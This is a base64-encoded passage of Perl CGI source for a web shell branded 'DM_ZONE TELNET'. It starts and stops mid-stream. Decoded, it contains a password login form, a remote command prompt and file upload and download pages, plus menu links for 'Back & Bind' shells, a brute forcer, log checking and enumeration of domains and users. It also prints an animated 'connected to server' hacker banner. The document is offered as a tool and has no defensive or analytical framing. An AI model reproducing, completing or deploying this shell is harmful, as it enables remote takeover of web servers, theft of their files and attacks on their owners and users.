U9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7DQoJfWVsc2UNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsNCgl9DQp9DQo8L3NjcmlwdD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPGNlbnRlcj48Y29kZT4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+DQoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+DQoJPC90ZD4NCg0KCTx0ZD4NCg0KCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNjYzAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjMDAwMDAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCg0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0tFIENPSyAhISE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogRE1fWk9ORTxicj4NCg0KUGFzc3dvcmQgU2FsYWggQ29rIDpwPGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogRE1fWk9ORTxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iID4+ICI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICBETV9aT05FIFRFTE5FVCAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9nb3V0U2NyZWVuDQp7DQoJcHJpbnQgIkxPRyBPVVQgU1VLU0VTIENPSyA6UDxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2F